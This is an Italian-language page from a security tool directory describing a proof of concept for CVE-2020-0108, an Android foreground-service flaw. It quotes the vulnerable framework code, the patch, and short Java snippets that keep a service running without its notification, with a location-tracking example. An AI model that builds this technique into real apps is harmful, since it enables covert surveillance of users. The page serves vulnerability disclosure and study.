Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ServiceCheater — PoC di CVE-2020-0108 | Kitploit
Strumenti/GitHubGitHub/crackercat/servicecheater
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingSicurezza Mobile
GitHubcrackercat/servicecheater

ServiceCheater

PoC di CVE-2020-0108

Vedi Repository
11136 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-0108 Analisi della vulnerabilità di elevazione dei privilegi del servizio in primo piano

1. Contesto della vulnerabilità

  • Nella patch di AOSP di agosto 2020, è stata divulgata una vulnerabilità nell'AMS del framework, con numero CVE-2020-0108 e valutazione High. Si tratta di un bug logico nella gestione dei servizi in primo piano di AMS. Un utente malintenzionato che sfrutta con successo questa vulnerabilità può bypassare la visualizzazione della notifica del servizio in primo piano e continuare a eseguirlo in background. L'attacco deve essere avviato da un'applicazione malevola locale e non richiede interazione da parte dell'utente. Se l'utente ha concesso all'applicazione altre autorizzazioni, si possono causare danni maggiori, come il tracciamento continuo della posizione o la registrazione audio silenziosa.

2. Dettagli della vulnerabilità

  • Il servizio in primo piano è un concetto introdotto da Google in Android 8.0. Poiché Android 8.0 non consente l'avvio di servizi in background da parte di altri servizi in background, è stato progettato il concetto di servizio in primo piano. Il servizio in primo piano ha una priorità più alta e può essere eseguito a lungo in background, ma entro 5 secondi dall'avvio deve associare una notifica, altrimenti viene terminato. In realtà, il servizio in primo piano viene ancora eseguito in "background", ma poiché è associato a una notifica visibile all'utente, Google lo chiama "servizio in primo piano".
  • Questa vulnerabilità ha due metodi di attacco, corrispondenti a due bug logici.
  • La prima vulnerabilità si trova nel metodo onNotificationError di NotificationManagerService, che non gestisce correttamente le eccezioni nella visualizzazione delle notifiche.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • In questo caso, dopo l'avvio del servizio in primo piano, anche se la notifica non viene visualizzata correttamente, il servizio in primo piano non viene terminato. Ad esempio, se il servizio in primo piano utilizza un layout personalizzato durante la creazione della notifica e passa un valore di resID inesistente durante la costruzione dell'oggetto RemoteViews, l'analisi del layout della notifica in NotificationManagerService fallisce e lancia un'eccezione, chiamando il metodo onNotificationError. Poiché il metodo onNotificationError si limita a chiamare cancelNotification per annullare la notifica, senza terminare il servizio o l'intera applicazione, il servizio in primo piano continua a funzionare senza mostrare alcuna notifica.
  • La seconda vulnerabilità si trova nel metodo postNotification di ServiceRecord, che non gestisce correttamente le eccezioni nella visualizzazione delle notifiche, ma le lancia all'applicazione utente.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • In questo caso, dopo l'avvio del servizio in primo piano, se l'applicazione utente cattura l'eccezione sul thread principale, anche se la notifica non viene visualizzata correttamente, il servizio in primo piano non viene terminato. Ad esempio, se il servizio in primo piano passa un ID canale non valido durante la creazione della notifica, quando la notifica viene inviata nel metodo postNotification di ServiceRecord, viene lanciata un'eccezione. Durante la gestione dell'eccezione, si chiama il metodo crashApplication di AMS per lanciare un'eccezione sul thread principale all'applicazione, ma se l'applicazione cattura l'eccezione sul thread principale, l'applicazione non va in crash e il servizio in primo piano continua a funzionare senza mostrare la notifica.

3. Verifica della vulnerabilità

  • Per la prima vulnerabilità, è possibile attivarla con il seguente codice all'interno del servizio in primo piano:
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • Quando creiamo l'oggetto RemoteViews, specifichiamo un ID layout pari a -1, che è chiaramente un valore non valido. In questo modo si attiva il callback onNotificationError.
  • Per la seconda vulnerabilità, è possibile attivarla con il seguente codice all'interno del servizio in primo piano:
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • Questa volta non creiamo alcun oggetto NotificationChannel, utilizziamo direttamente un ID canale non valido per costruire la notifica. In questo modo si attiva l'eccezione nel metodo postNotification. Successivamente, catturiamo l'eccezione sul thread principale, quindi l'applicazione non va in crash.

4. Impatto della vulnerabilità

  • Sfruttando con successo questa vulnerabilità, un'applicazione malevola può avviare silenziosamente un servizio in primo piano ad alta priorità in background e mantenerlo in esecuzione.
  • L'impatto maggiore è che l'applicazione può utilizzare l'autorizzazione di localizzazione per tracciare l'utente. Poiché si tratta di un servizio in primo piano, anche se viene selezionata l'opzione "Consenti solo l'accesso in primo piano alla posizione", è comunque possibile tracciare la posizione in "background" senza che l'utente se ne accorga.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. Patch della vulnerabilità

  • Google ha risolto questa vulnerabilità nella patch di agosto 2020. Le modifiche principali consistono nel forzare il crash dell'applicazione nel callback onNotificationError e anche nella gestione delle eccezioni del metodo postNotification, dove viene forzato il crash dell'applicazione. Nel metodo crashApplication, con la modalità forzata force=true, AMS forza la chiusura dell'applicazione entro 5 secondi dal lancio dell'eccezione, anche se l'applicazione ha catturato l'eccezione.
  • Nel metodo onNotificationError, viene chiamato crashApplication per far crashare l'applicazione, con force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • Nella gestione delle eccezioni del metodo postNotification, viene chiamato killMisbehavingService per terminare il servizio con comportamento anomalo.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • Il metodo killMisbehavingService, oltre ad acquisire il lock, chiama anche crashApplication.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • La gestione per force=true è la seguente: entro 5 secondi dal lancio dell'eccezione, l'applicazione viene forzata a essere terminata.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
Scarica lo strumento